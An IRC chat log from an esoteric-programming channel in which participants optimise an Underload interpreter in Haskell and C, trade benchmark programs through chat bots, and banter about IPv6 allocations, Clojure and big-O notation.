21:23:12 <elliott_> iconmaster: Define now.
21:23:27 <elliott_> Deewiant: Is the answer to this question no?
21:23:38 <Deewiant> I'm not sure.
21:24:40 <elliott_> Deewiant: ITYM "Mu."
21:24:49 <Deewiant> ITYM "FILE_NOT_FOUND"
21:25:00 -!- relic930 has quit (Quit: .oO(blubb)).
21:25:29 <cheater00> i never see iconmaster say anything
21:25:34 <cheater00> how come is that!
21:26:15 <olsner> elliott: I got a segmentation fault :/
21:26:54 <iconmaster> cheater00: Umm, idk? CAN YOU HEAR ME NOW?
21:27:07 <cheater00> HELLO TRY SPEAKING IN BIGGER LETTERS
21:27:16 <iconmaster> OK
21:27:31 <cheater00> WE NEED TO TENSE UP THE THREAD BETWEEN OUR CANS
21:27:38 <cheater00> I FIND!
21:27:41 <elliott_> olsner: What.
21:27:43 <elliott_> olsner: From /GHC/?
21:27:59 <olsner> yes, from a modified version of relief
21:28:07 <cheater00> olsner: phew
21:28:09 <elliott_> olsner: Niice. How many unsafes?
21:28:15 <olsner> I didn't even add *any* unsafe stuff
21:28:31 <olsner> may have had a buggy ghc version, ghc-6.12.3 didn't segfault
21:28:33 -!- azaq23 has quit (Read error: Connection reset by peer).
21:28:46 -!- azaq23 has joined.
21:29:52 <olsner> it did however use up all my disk space when I tried that small program you pasted above (that seemed to take 10s to produce a 165MB file when you did it)
21:30:48 <olsner> I think you gave me a broken version
21:31:03 <elliott_> olsner: Uhh, I did not :P
21:31:14 <elliott_> olsner: But if it used up all your disk space... cool.
21:31:21 <elliott_> Does the file look like :*:*:* with /s in there?
21:31:28 <elliott_> I'm on an SSD.
21:31:33 <elliott_> So you might have much faster sequential writes.
21:32:18 <olsner> yep, and the /'s seem to double their distance for each one
21:32:40 <olsner> so this program just writes infinity of that crud?
21:32:43 <elliott_> olsner: That's right then. And yes.
21:32:50 <elliott_> It starts with :*, and concatenates it with itself forever.
21:33:00 <elliott_> olsner: I did ^C it to get that 10 second thing.
21:33:04 <elliott_> Did you just leave it running? X-D
21:33:15 <olsner> I thought I was supposed to :P
21:33:35 <elliott_> olsner: So have you sped it up on 6.12.3? :-P
21:33:42 <elliott_> spedified
21:34:06 <olsner> my version seems to have run out of disk space 1.2s faster than yours (which took 30s)
21:34:26 <elliott_> Wooooo
21:34:32 <elliott_> olsner: A better benchmark is:
21:34:42 <elliott_> ./relief '(0)S((0)(1))(~:^:S*a~^~*a*~:^):^'
21:34:44 <elliott_> Again outputs infinitely.
21:34:54 <elliott_> Just pipe to a file, run approx. same time, compare sizes. :p
21:35:01 <elliott_> (It's Thue-Morse.)
21:35:29 -!- Phantom_Hoover has joined.
21:35:29 <elliott_> olsner: Also http://oerjan.nvg.org/esoteric/underload/tmcount.disclaimed.ul, which outputs lots and then pauses a while, forever.
21:37:00 <elliott_> olsner: how small is your disk anyway that it can be filled in 30 seconds?
21:37:14 <elliott_> or how full :P
21:37:35 <olsner> this one is both small and full, it has about 500MB free right now
21:38:26 <elliott_> ah
21:39:34 <Phantom_Hoover> There's yet another alexithymia IAmA on Reddit.
21:39:49 <Phantom_Hoover> Like the previous one, it misdefines alexithymia.
21:40:44 <elliott_> Phantom_Hoover: Oh it gets better -
21:40:55 <elliott_> "Glad you asked.. over the last 15 years or so I have actually worked out how language works from the ground up (from neurons to Shakespeare as I have termed it). This has led me to work out a mechanism to allow a computer to understand language and act upon it as a person does. I have been able to work all of this out because of my condition, it has given me an internal and excellent insight into lan
21:40:55 <elliott_> guage at the core."
21:41:00 <elliott_> So either troll or egotistical idiot.
21:41:17 <elliott_> When called on his bullshit and asked what his credentials are:
21:41:18 <elliott_> "Just postgraduate studies in lingustics, which i stopped doing due to not actually learning anything (even though I was getting top scores).
21:41:18 <elliott_> As for your contempt for new ideas, that is EXACTLY why I don't have any thesis published.
21:41:18 <elliott_> I am $200,000 short on getting the thesis published."
21:41:26 <elliott_> tl;dr actually I lied, I have no fucking clue how to do this unless someone gives me a lot of money
21:42:05 <elliott_> Phantom_Hoover: Not even worth reading. Also he apparently has this AMAZINGLY GREAT NOVEL all written in his head with the sole problem that he is TOTALLY PHYSICALLY UNABLE TO WRITE FICTION.
21:42:14 <elliott_> tl;dr bunch of horseshit.
21:43:59 <Ilari> APNIC down 0.10. v4: 3x8k+2x4k+2x2k+1k to JP, 4x256k+512k to CN, 4k to HK, 256 to NZ. v6: /48 to NZ, /32+2x/48 to AU, 2x/32 to ID, /32 to NC, /32 to NP, /32 to PH.
21:50:03 <fizzie> Is there any sort of reason what e needs the $200k for?
21:50:11 <fizzie> I mean, just plain publishing things isn't quite that expensive.
21:50:48 <elliott_> fizzie: It puts him beyond questioning, obviously.
21:50:58 <elliott_> I can't imagine he's not a troll. Or if he isn't, then he's just an idiot.
21:52:10 <Ilari> This month so far, APNIC has gave out 0.790 blocks (13 257 984 addresses). On v6 front: 4 063 248x/48 (62.0 microblocks, 1 039 178.9 microblocks free).
21:53:58 <Ilari> APNIC still has eqiuivalent of 514 891 /32s to allocate before it can even ask for IANA for new allocation (half-block rule).
21:58:05 <Ilari> So APNIC IPv6 free pool: 0.991 blocks.
21:58:10 <elliott_> Lazy concatenative languages are possibly the worst best idea ever.
21:58:19 <elliott_> The best thing is that you NEED a type system to do it.
21:58:27 <elliott_> Because you have to know how many stack elements get eaten up.
21:59:11 <Ilari> Total APNIC IPv6 pool: 1.018 blocks.
22:01:29 <Ilari> Heh. Last update date on IANA IPv6 unicast space: 2008-08-27. Hasn't been updated for over 2 years.
22:01:40 -!- Mathnerd314 has joined.
22:01:41 -!- elliott_ has quit (Quit: Leaving).
22:01:47 -!- elliott_ has joined.
22:02:39 <Ilari> And the last allocation date marked there is 2006-10-03 (the day 5 blocks were allocated, one to each RIR)
22:04:44 <olsner> elliott_: it didn't end up any faster, so I give up for now
22:04:56 <elliott_> olsner: Care to share your code?
22:05:00 <olsner> nah :)
22:05:18 <olsner> it sucks a lot, and I cheated
22:05:26 <elliott_> olsner: :(
22:05:28 <elliott_> olsner: I wanna seeee.
22:05:31 <elliott_> I need inspiration. :p
22:05:33 -!- copumpkin has joined.
22:05:35 <elliott_> Also I like cheating
22:06:40 <olsner> the cheating was that I baked IO and most of putResult directly into Result
22:06:57 <elliott_> olsner: ouch. well right. ew.
22:07:04 <olsner> exactly :P
22:07:12 <elliott_> changed anything else?
22:07:41 <olsner> changed Result into continuation-passing style
22:07:49 <elliott_> hmm, like howso/
22:07:50 <elliott_> *howso?
22:08:01 -!- pumpkin has quit (Ping timeout: 260 seconds).
22:08:01 -!- iconmaster has quit (Ping timeout: 260 seconds).
22:09:26 <olsner> at first it was really complicated due to Chunk, but then I put all the IO stuff directly into it so now it's pretty much type Result a e = (e -> IO ()) -> IO ()
22:09:31 -!- pikhq_ has quit (Read error: Operation timed out).
22:10:11 <elliott_> what was it with Chunk? I don't feel that baking the IO in would be beneficial ever, because it's basically just constructing a value and then immediately destructing it, with putResult
22:10:15 <elliott_> so the overhead should be minimal
22:10:42 -!- pikhq has joined.
22:11:01 <olsner> hmm, I just wanted to try rewriting Result and see what fell out
22:12:01 <elliott_> I think Result is probably not my bottleneck :)
22:12:19 <elliott_> I have a feeling that if I optimised (==) a lot or made cat more loose, it'd be a lot faster.
22:13:49 <elliott_> hmm, dunno if it's going faster with reallyUnsafePtrEquality# :P
22:15:43 -!- Sgeo has joined.
22:16:15 <elliott_> $ ./relief "$(cat 99.ul)"
22:16:15 <elliott_> IT'S REALLY TRUE
22:16:19 <elliott_> ok so ptr equality is doing _something_
22:16:37 <elliott_> but :* doesn't do it
22:19:01 -!- MigoMipo has quit (Read error: Connection reset by peer).
22:20:07 <Mathnerd314> what are you doing? cat in Haskell?
22:20:33 -!- calamari has left (?).
22:20:58 <elliott_> Mathnerd314: cat? lol, no, underload
22:21:36 -!- Phantom_Hoover has quit (Remote host closed the connection).
22:21:39 * Mathnerd314 checks esolang wiki
22:21:45 <elliott_> it's rather famous
22:21:49 <elliott_> and much worked on recently
22:22:00 <elliott_> i'm just writing a very smart interpreter (smarter than the current smartest, derlo)
22:22:06 <elliott_> Mathnerd314: cat in haskell: main = mapM_ (readFile >=> putStr) getArgs :-P
22:22:09 <elliott_> er
22:22:11 <elliott_> *=<< getArgs
22:22:18 <elliott_> that doesn't handle - for stdin though.
22:22:21 <elliott_> or an empty arg list for stdin
22:24:06 <elliott_> huh... that never calls ==...
22:28:54 -!- TLUL has quit (Quit: *disappears in a puff of orange smoke*).
22:31:11 <Gregor> http://9gag.com/gag/38704/ ... I hate people.
22:31:45 <elliott_> Gregor: How much is 9gag.com paying you?
22:31:54 <Gregor> elliott_: $3/hr
22:32:34 <elliott_> Gregor: but lmao @ that
22:34:36 -!- augur has quit (Remote host closed the connection).
22:34:56 <elliott_> olsner: ha, I don't actually force conatenation in *
22:35:01 <elliott_> which is why == never seemed to be called
22:35:06 <elliott_> because i didn't bother outputting anything
22:37:15 -!- augur has joined.
22:37:18 <elliott_> aaand after removing a trace call, the two pointers are no longer equal.
22:37:19 <elliott_> wait.
22:37:22 <elliott_> hmm
22:37:37 <elliott_> maybe it's thunked
22:37:42 <Sgeo> elliott_, is DrRacket ok to use with SICP as long as it's in R5RS mode?
22:40:48 -!- Mathnerd314 has quit (Ping timeout: 272 seconds).
22:47:42 <elliott_> translating relief to C will be a pain
22:53:22 -!- Mathnerd314 has joined.
22:59:22 -!- FireFly has quit (Quit: swatted to death).
23:29:45 -!- augur has quit (Remote host closed the connection).
23:30:57 <elliott_> /* TODO: figure out memory situation, i.e. refcounts, freeing
23:30:57 <elliott_> * function (because structures are dynamically sized), ... */
23:31:05 <elliott_> now i remember why i love haskell
23:33:56 -!- oerjan has joined.
23:36:28 <elliott_> hi oerjan
23:37:05 <elliott_> oerjan: i integrated your code :)
23:37:07 <Ilari> APNIC last 30 days: 20 719 616 addresses (1.235 blocks).
23:40:00 <oerjan> yay
23:40:26 -!- pikhq_ has joined.
23:40:26 -!- pikhq has quit (Ping timeout: 246 seconds).
23:40:39 <pikhq_> Gaaah, today.
23:40:49 <elliott_> pikhq_: wat
23:41:11 <pikhq_> Egg on car is a bitch.
23:41:12 <elliott_> oerjan: i'm tentatively rewriting the whole thing in C now. although that might be a _loss_ for sufficiently pathological programs, as I'm not using bignums and so will have to fall back or whatever
23:41:24 <Ilari> That's almost but not quite the rate on January (excluding the first day): 21227264 (which is about 500k more).
23:41:37 <elliott_> oerjan: but anyway, it's hard to tell when the majority of underload programs are unpublished :(
23:41:52 <oerjan> hm
23:42:26 <elliott_> oerjan: (every time something UL-related is mentioned, ais is all "OH YEAH I WROTE THAT")
23:42:35 <elliott_> apparently he has a more concise full unlambda translation than you or something :)
23:42:51 <oerjan> elliott_: actually i think he said that was accidentally deleted
23:43:05 <elliott_> oerjan: shut up, i'm busy being annoyed :D
23:43:15 <elliott_> oerjan: you have to give me a benchmark then :P
23:43:17 <oerjan> maybe that includes some of the other programs as well
23:43:39 <pikhq_> What sort of asshat eggs cars, anyways?
23:44:04 <elliott_> oerjan: btw you may (likely not) find my comment on http://esolangs.org/wiki/Talk:Chalcraft-Greene_train_track_automaton worth reading :-P
23:44:10 <elliott_> (it's not very interesting, but it is MULTIPLE PARAGRAPHS!)
23:46:13 <elliott_> gah
23:46:15 <elliott_> why is C so stupid
23:46:52 <oerjan> elliott_: i could give you my unlambda conversion, even if it's worse than the one ais523 supposedly made. i haven't made an automatic convert for it though.
23:47:13 <elliott_> oerjan: hmm, can it translate your self-interpreter? given some appropriate input program
23:47:20 <elliott_> i mean, if there were a translator program
23:47:29 <oerjan> no, it cannot do input
23:47:40 <elliott_> basically the issue is that there are no (afaik) underload programs that do a lot of computation and take a long but _finite_ time to output something
23:47:48 <oerjan> heh
23:48:16 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
23:50:06 <oerjan> well it _should_ be possible to adapt something else to use a church numeral for number of iterations
23:50:57 <oerjan> oh and you want there to be a long time _between_ outputs as well?
23:51:00 <oerjan> hm
23:51:19 <elliott_> oerjan: oh, i don't care about that
23:51:25 <elliott_> i just want a benchmark, you know
23:51:27 <oerjan> ok
23:51:38 <elliott_> a program that does a lot of computation and then stops, preferably outputting the entire result (or laziness could bite me :))
23:52:02 <elliott_> oerjan: and if it does a lot of arithmetic that wouldn't go amiss either, because i'm the only one to optimise that >:D
23:52:10 <elliott_> (but i'm not sure if + would get optimised properly)
23:52:15 <elliott_> (so that would be interesting)
23:52:32 <oerjan> i'm pretty sure those :^):^ at the end of 110.ul must be an ordinary top-level loop
23:53:05 <oerjan> elliott_: i'm afraid as i said my programs don't use church numerals very heavily
23:53:53 <oerjan> also there still is the issue that you always need that final unary application of the church numeral
23:54:00 <oerjan> to actually use it
23:54:32 <oerjan> unless you have some optimization at a higher level than i thought we were aiming at
23:54:57 -!- pikhq has joined.
23:55:06 -!- pikhq_ has quit (Ping timeout: 250 seconds).
23:55:41 -!- augur has joined.
23:56:34 <elliott_> oerjan: well, I optimise * and ^ on them
23:56:42 <elliott_> all the way through the program
23:56:54 <elliott_> if you do (:*)(::**)*, or replace that last * with a ^, it will simply do the arithmetic
23:57:09 <elliott_> (and also, *lazily*, form :*::**, but that will only get formed when it's printed)
23:57:20 <elliott_> (or, well, checked for equality but that's an implementation detail right now :))
23:58:06 -!- cheater- has joined.
23:58:32 <elliott_> 83 lines of C already to do about a dozen lines of haskell. yay.
23:59:58 <oerjan> ^ul (^^:^^^:^^^^^:^^^^^^:::^^^^^^^^:::^^^:^^^^::^)()~((())~:a~*):a~*~^!(~((!())(!:^(^)*)(!!:^(!^)*))~*^!!^):^(~((()())(:a~*:(*(!^)(:)S)~*~(!*(^)(^)S)~*):a~**((!^)~^!^)(!(^)~^^))~*^( )S!!a:(*)*~(~*)**^~*(()()(!)()(!)(:a~*:(!^(!^((!^)*)(!(^)*))(!^((^)*)(!(^)*)))~*~(!^(!^((!^)*)(!(^)*))(!^((^)*)(!(!^)*)))~*):^)~*^!!!!!!~^)(()~^)(::**)^^
23:59:58 <fungot> ^^:^^^:^^^^^:^^^^^^:::^^^^^^^^:::^^^:^^^^::^ ...out of stack!
2011-02-23
00:00:03 <oerjan> argh
00:00:13 <oerjan> oh duh
00:00:43 <oerjan> ^ul (^^:^^^:^^^^^:^^^^^^:::^^^^^^^^:::^^^:^^^^::^)()~((())~:a~*):a~*~^!(~((!())(!:^(^)*)(!!:^(!^)*))~*^!!^):^(~((()())(:a~*:(*(!^)(:)S)~*~(!*(^)(^)S)~*):a~**((!^)~^!^)(!(^)~^^))~*^( )S!!a:(*)*~(~*)**^~*(()()(!)()(!)(:a~*:(!^(!^((!^)*)(!(^)*))(!^((^)*)(!(^)*)))~*~(!^(!^((!^)*)(!(^)*))(!^((^)*)(!(!^)*)))~*):^)~*^!!!!!!~)(:^)(::**)^^
00:00:43 <fungot> ^^:^^^:^^^^^:^^^^^^:::^^^^^^^^:::^^^:^^^^::^ :^^^:^^^:::^^^::::^::^^::::::^::^^:^^^::^:^^ ^^:^^^:^::^^:^:::^^:^^^:::::^^:^^^^^:^:^^^^^
00:01:11 <oerjan> there you go, just adjust the church numeral at end. and change the ( )S to using newline if you like.
00:01:12 -!- cheater00 has quit (Ping timeout: 272 seconds).
00:01:30 <Ilari> Also looks like so far the biggest value for 30-day sliding window allocations occured 10th this month: 25 086 464 (1.495 blocks)
00:01:38 <oerjan> oh and you can of course change the initial data as well
00:02:53 <elliott_> oerjan: bigger church numeral = moar longer?
00:03:24 <oerjan> yeah it's number of lines produced
00:03:43 <elliott_> oerjan: instant even with n=101 here :P
00:03:46 <elliott_> i'll try 1001
00:04:18 <elliott_> 0.319s for 1001
00:04:43 <elliott_> oerjan: possibly i should try another interp to compare :D
00:05:02 <Ilari> 20M per 30 days would deplete the pool in about 100 days (which would be in beginning of June, before the IPv6 day).
00:06:54 <elliott_> !info
00:06:58 <elliott_> !help
00:07:04 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
00:07:04 <EgoBot> EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ . Cheers and patches (preferably hg bundles) can be sent to Richards@codu.org , PayPal donations can be sent to AKAQuinn@hotmail.com , complaints can be sent to /dev/null
00:09:39 <elliott_> oerjan: oddly, derlo appears to do UTF-8
00:09:47 <oerjan> heh
00:10:09 <oerjan> maybe it's for the underlambda part
00:10:11 <elliott_> hmm, maybe i'll adopt its model of one structure and just ignore the HORRIBLE HORRIBLE PADDING that'll imply
00:10:16 <elliott_> oerjan: the underlambda part does fuck all, AFAICT
00:10:22 <elliott_> it's identical to the underload part
00:10:25 <oerjan> oh
00:10:53 <oerjan> <elliott> today i discovered the meaning of overengineering
00:11:06 <oerjan> i am not entirely sure of the tone of this comment :D
00:11:19 <elliott_> oerjan: >_>
00:11:38 <elliott_> $ ./derlo benchmark.ul
00:11:38 <elliott_> ^^:^^^:^^^^^:^^^^^^:::^^^^^^^^:::^^^:^^^^:: ^:^::*** glibc detected *** ./derlo: double free or corruption (fasttop): 0x0000000001409990 ***
00:11:42 <elliott_> lol ais can't code xD
00:11:53 <oerjan> WELL DO YOU THINK IT'S OVERENGINEERED, OR DO YOU THINK I WAS EXAGGERATING
00:12:08 <elliott_> oerjan: HMM LET ME THINK
00:12:11 <elliott_> DEFINITELY OVERENGINEERED
00:12:14 <oerjan> O KAY
00:12:25 * oerjan bounces happily
00:13:26 <oerjan> elliott_: huh about that error
00:13:49 <oerjan> !underload (^^:^^^:^^^^^:^^^^^^:::^^^^^^^^:::^^^:^^^^::^)()~((())~:a~*):a~*~^!(~((!())(!:^(^)*)(!!:^(!^)*))~*^!!^):^(~((()())(:a~*:(*(!^)(:)S)~*~(!*(^)(^)S)~*):a~**((!^)~^!^)(!(^)~^^))~*^( )S!!a:(*)*~(~*)**^~*(()()(!)()(!)(:a~*:(!^(!^((!^)*)(!(^)*))(!^((^)*)(!(^)*)))~*~(!^(!^((!^)*)(!(^)*))(!^((^)*)(!(!^)*)))~*):^)~*^!!!!!!~)(:^)(::**)^^
00:14:18 <oerjan> hm i guess if it crashes EgoBot may not tell
00:14:32 <elliott_> !c printf("");
00:14:36 <elliott_> IIRC it says even when there's just no output
00:14:38 <elliott_> so no response at all == bad
00:14:42 <oerjan> ok
00:14:45 <elliott_> !c printf("ducks\n");
00:14:51 <elliott_> oerjan: or, it is just lagged.
00:15:02 <elliott_> Okaaaaaay, this array-based representation definitely won't work. But I'll stick with it FOR NOW
00:15:03 <oerjan> like always
00:15:45 <elliott_> obj ***stk
00:15:48 <elliott_> THREE-STAR PROGRAMMER \o/
00:15:48 <myndzi> |
00:15:48 <myndzi> /<
00:16:26 -!- copumpkin has joined.
00:18:35 <oerjan> the look-and-say implementation could use large numerals (with a slight adjustment to the output routine), although 1,2,3 will of course end up dominating pretty soon
00:24:30 <elliott_> ok derlo is inasne
00:24:30 <elliott_> *insane
00:24:39 <elliott_> i'm pretty sure it has the capacity in its code to push a stack to the stack.
00:25:04 <oerjan> well that _would_ be useful for those continuations, wouldn't it
00:27:47 -!- Mathnerd314 has quit (Ping timeout: 272 seconds).
00:28:37 <oerjan> ^ul ((:*):*:*:*~^)::**((((:((0)(!(1)(!(2)(!(3)(!(4)(!(5)(!(6)(!(7)(!(8)(!(9)(!(X)(a:^*):^)))))))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
00:28:37 <fungot> ...unterminated (!
00:28:41 <oerjan> eek
00:28:45 <pikhq> Wooops, seems that Gaddafi decided to do the one thing that could bring about US involvement.
00:28:57 <pikhq> He's sabotaging the oil in Libya.
00:29:04 <pikhq> And as you know, the oil must flow.
00:29:10 <elliott_> pikhq: what, did he insult obama's dress sense?
00:29:16 <elliott_> did he bore the translator to death?
00:29:22 <elliott_> WE MUST KNOW
00:29:26 <pikhq> elliott_: HE'S STOPPING THE OIL.
00:29:29 <elliott_> SHUT UP
00:29:33 <elliott_> THAT'S NOT A FUN ANSWER
00:30:07 <pikhq> But the spice must flow!
00:30:09 <pikhq> Erm, oil!
00:30:23 <oerjan> ^ul ((:*):*:*:*~^)::**((((:((0)(!(1)(!(2)(!(3)(!(4)(!(5)(!(6)(!(7)(!(8)(!(9)(!(X)(a:^*):^))))))))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
00:30:24 <fungot> XXX, 3X, 131X, 1113111X, 3113311X ...out of time!
00:30:33 <oerjan> duh
00:30:43 <oerjan> ^ul ((:*):*:*:*~^()~^)::**((((:((0)(!(1)(!(2)(!(3)(!(4)(!(5)(!(6)(!(7)(!(8)(!(9)(!(X)(a:^*):^))))))))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
00:30:44 <fungot> X1X1X1, 1X111X111X11, 111 ...out of time!
00:30:52 <pikhq> Aaand there goes the US dollar, I bet...
00:31:01 <pikhq> China is switching the yuan to the gold standard.
00:31:21 <oerjan> elliott_: there, look and say adjusted to start with (256)1(256)1(256)1
00:31:43 <oerjan> <pikhq> China is switching the yuan to the gold standard. <-- um seriously?
00:31:45 <elliott_> oerjan: does LAS actually do any arithmetic?
00:31:53 <pikhq> oerjan: Yes, seriously.
00:31:54 <oerjan> elliott_: er perhaps not
00:32:00 <elliott_> oerjan: :D
00:32:10 <pikhq> oerjan: They are actually in the process of getting large quantities of gold to back the yuan.
00:33:00 <Sgeo> Woo
00:33:08 <elliott_> "whoops, we bought too much gold and now we're bankrupt"
00:33:08 <Sgeo> Made my first edit to Wikipedia since a while ago
00:33:28 <pikhq> elliott_: Well, swapping USD for Au is probably not that hard.
00:34:29 * pikhq wonders about the wisdom of basing your currency on a foreign currency.
00:34:36 -!- Mathnerd314 has joined.
00:38:33 -!- TLUL has joined.
00:39:07 <elliott_> hey oerjan if you don't write a haskell->c converter i'm going to guilt you SO MUCH
00:39:49 <oerjan> i'm sorry but _that_ sort of work repels guilt pretty effectively :D
00:40:44 <oerjan> also there were some people from glasgow who already did a bit of that, i hear
00:40:53 <copumpkin> elliott_: JHC?
00:41:01 <oerjan> or that.
00:41:17 <elliott_> copumpkin: i mean something that ditches all the laziness and just translates it fairly directly so i don't have to do all this mechanical crap :p
00:41:21 <elliott_> i might try compiling this code with jhc though.
00:41:22 <elliott_> uh.
00:41:29 <elliott_> doubt jhc has reallyUnsafePointerEquality# though
00:41:35 <copumpkin> why ditch the laziness?
00:41:38 <elliott_> *Ptr
00:41:41 <copumpkin> and why are you using that thing?
00:41:48 <elliott_> copumpkin: efficiency :-D
00:41:51 <elliott_> instance Eq Obj where
00:41:52 <elliott_> p == q = eq || p' == q'
00:41:52 <elliott_> where eq = I# (reallyUnsafePtrEquality# p q) == 1
00:41:58 <copumpkin> wtf
00:42:02 <elliott_> (==) was a bit of a bottleneck beforehand. still is.
00:42:08 <elliott_> this makes it... better.
00:42:17 * copumpkin writes off elliott_
00:42:18 <elliott_> stop looking at me like that. i'm perfectly sane. probably.
00:42:28 <elliott_> copumpkin: In my defence,
00:42:30 <elliott_> toQ :: Obj -> Obj
00:42:30 <elliott_> toQ (Church _ p) = p
00:42:30 <elliott_> toQ (Catn p q) = Quote (xs++ys) where Quote xs = toQ p; Quote ys = toQ q
00:42:42 <elliott_> ...when your Rept's n is over 65536, this can be a teensy bit slow.
00:42:56 <copumpkin> how is that even valid syntax?
00:43:03 <oerjan> AND THIS RABBIT THAT ONLY I CAN SEE AGREES
00:43:07 <elliott_> copumpkin: how is what even valid syntax?
00:43:13 <copumpkin> an uppercase Quote there
00:43:23 <elliott_> copumpkin: where?
00:43:26 <elliott_> you mean
00:43:27 <elliott_> <elliott_> Quote p' = toQ p
00:43:27 <elliott_> <elliott_> Quote q' = toQ q
00:43:27 <elliott_> ?
00:43:32 <elliott_> that's pattern matching, you dolt
00:43:34 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
00:43:46 <copumpkin> where Quote xs = toQ p; Quote ys = toQ q
00:43:49 <elliott_> that's pattern matching, you dolt
00:44:03 <copumpkin> Quote would have to be a constructor o.O
00:44:12 <elliott_> copumpkin: ...it is
00:44:18 <elliott_> why is that surprising?
00:44:45 <copumpkin> is that haskell?
00:44:53 <elliott_> copumpkin: ...yes...
00:44:57 <elliott_> What exactly is giving you problems here?
00:45:09 <elliott_> Obj is my own data type, if that helps...
00:45:19 <copumpkin> yes, but....
00:45:34 <copumpkin> if you write "where f pat1 pat2 = expr"
00:45:40 <copumpkin> f must be lowercase, because it's a function, not a constructor
00:45:50 <elliott_> copumpkin: "where x:xs = f x y"
00:45:53 <elliott_> you agree that this is valid?
00:45:58 <copumpkin> no
00:46:04 <copumpkin> oh I see
00:46:07 <elliott_> copumpkin: welcome to: you are wrong, population: you
00:46:21 <copumpkin> it's an irrefutable match
00:46:23 <elliott_> sheesh oerjan, you write half of the haskell report and then these upstart #haskell ops go shit all over it, how does that make you feel? :(
00:46:25 <oerjan> elliott_: oh don't be so harsh on him, there are many more people there
00:46:38 <copumpkin> man, what a brain fart
00:46:42 <elliott_> copumpkin: heh. does using agda make you forget that you can do things without default cases? :D
00:46:49 <copumpkin> lol, I guess
00:46:56 <elliott_> i'm sooo tempted to hpaste this and link it in #hakell
00:47:33 <oerjan> copumpkin: strictly speaking Quote is not the only constructor of Obj but toQ is obviously designed to only return results using that one
00:47:50 <copumpkin> elliott_: that's fine :P
00:48:20 <elliott_> oerjan: yeah toQ should arguably return [Op]
00:48:27 <elliott_> i didn't realise it always would when i first wrote it
00:48:43 <oerjan> hm
00:49:20 <elliott_> yes ghc, warm my lap as you compile your enemy!
00:50:15 <elliott_> copumpkin: if it absolves me of my unsafe sins, i don't even use unsafeCoerce anywhere
00:50:17 <elliott_> or unsafePerformIO
00:50:44 <copumpkin> oh that's good
00:50:56 <copumpkin> unsafePtrEquality is often going to be false though, even when it should be true
00:50:59 <copumpkin> why not a stable name?
00:51:05 <copumpkin> it'd be a bit more stable
00:51:13 <copumpkin> I guess it doesn't quite work for yhou
00:51:16 <elliott_> copumpkin: thus why I do
00:51:18 <elliott_> p == q = eq || p' == q'
00:51:27 <elliott_> i.e. it just doesn't bother checking if p definitely equals q
00:51:29 <elliott_> which is the case for :*
00:51:31 <copumpkin> oh I see
00:51:32 <elliott_> (duplicate, concatenate)
00:51:55 <elliott_> copumpkin: I would argue that this should be a "standard" GHC optimisation, but if some fool defines "_ == _ = False" then it'd change semantics...
00:52:48 <elliott_> What, jhc doesn't support bang patterns?
00:54:24 <copumpkin> they're not in the standard :P
00:55:45 <elliott_> copumpkin: But, but, it's all OMG PERFORMANCE.
00:55:59 <copumpkin> OMG PERFORMANCE indeed
00:56:11 <elliott_> copumpkin: Do I sense a SCEPTIC.
00:56:39 <copumpkin> ANTISCEPTIC
01:05:12 <Sgeo> I'm almost tempted to learn Clojure
01:05:15 -!- yorick has quit (Read error: Operation timed out).
01:05:32 <Lymia> Clojure.
01:05:33 <Lymia> Sounds fun.
01:07:09 <pikhq> Sgeo: Insufficiently pure.
01:07:14 <pikhq> There is only lambda!
01:10:26 <elliott_> Lymia: Java. Community is idiotic. Meh.
01:11:08 <Lymia> elliott_, Closure community can't be worse that your typical Lisp-like community... right?
01:11:11 <Lymia> 's*
01:11:13 <elliott_> *Clojure, and it is.
01:11:27 <elliott_> Because idiots see it and think "OOH JAVA LIBRARIES" and latch on to it.
01:11:46 <Lymia> Can't say that isn't useful
01:11:46 <Lymia> =p
01:11:55 <elliott_> Lymia: Their IRC channel have argued that O(log_32 n) != O(log n), or something of the sort, I forget what. Arguments included "WELL IT'S NOT TRUE IN THEORY, BUT IT IS WHEN RUN ON A MACHINE".
01:12:09 <elliott_> I suspect that computer science may be doomed.
01:12:12 <Sgeo> I'm thinking "Ooh, that criticism of Racket that I saw in Racket vs Clojure makes sense, and I like the idea of STM, and I like immutability stuff"
01:12:31 <elliott_> Anyway we shouldn't be encouraging Sgeo's weekly language fetish with discussion.
01:12:52 <Lymia> elliott_, I'm not even in college yet, so... can't exactly say much about that subject.
01:12:57 <Lymia> I assume in theory it's not?
01:13:10 <elliott_> Lymia: It plain isn't. (And I'm not in university either.)
01:13:13 <Sgeo> Community sucking != language sucking
01:13:15 <elliott_> O(kn) = O(n) if k is constant.
01:13:21 <elliott_> log_32 n = base 32 logarithm of n
01:13:23 <elliott_> = log(n)/log(32)
01:13:28 <elliott_> = 1/log(32) * log(n)
01:13:30 <Sgeo> O(log_32 n) = O(log n / log 32...darn you
01:13:39 <Lymia> And 1/log(32) is a constant.
01:13:39 <Lymia> =p
01:13:40 <elliott_> Since 1/log(32) is constant, O(1/log(32) * log(n)) = O(log n) and therefore O(log_32 n) = O(log n).
01:13:42 <Lymia> Makes sense.
01:13:55 <elliott_> Theory vs. practice does not even begin to come into it; big-O notation Does Not Work That Way.
01:14:13 -!- tvs_ has joined.
01:14:19 <elliott_> And since Clojure is one of the purer and more functional of the Lisps (ostensibly) you'd expect their understanding of computer science to be a bit better.
01:14:32 <elliott_> (Ignorance is perfectly acceptable, but being sure about something that's blatantly incorrect isn't.)
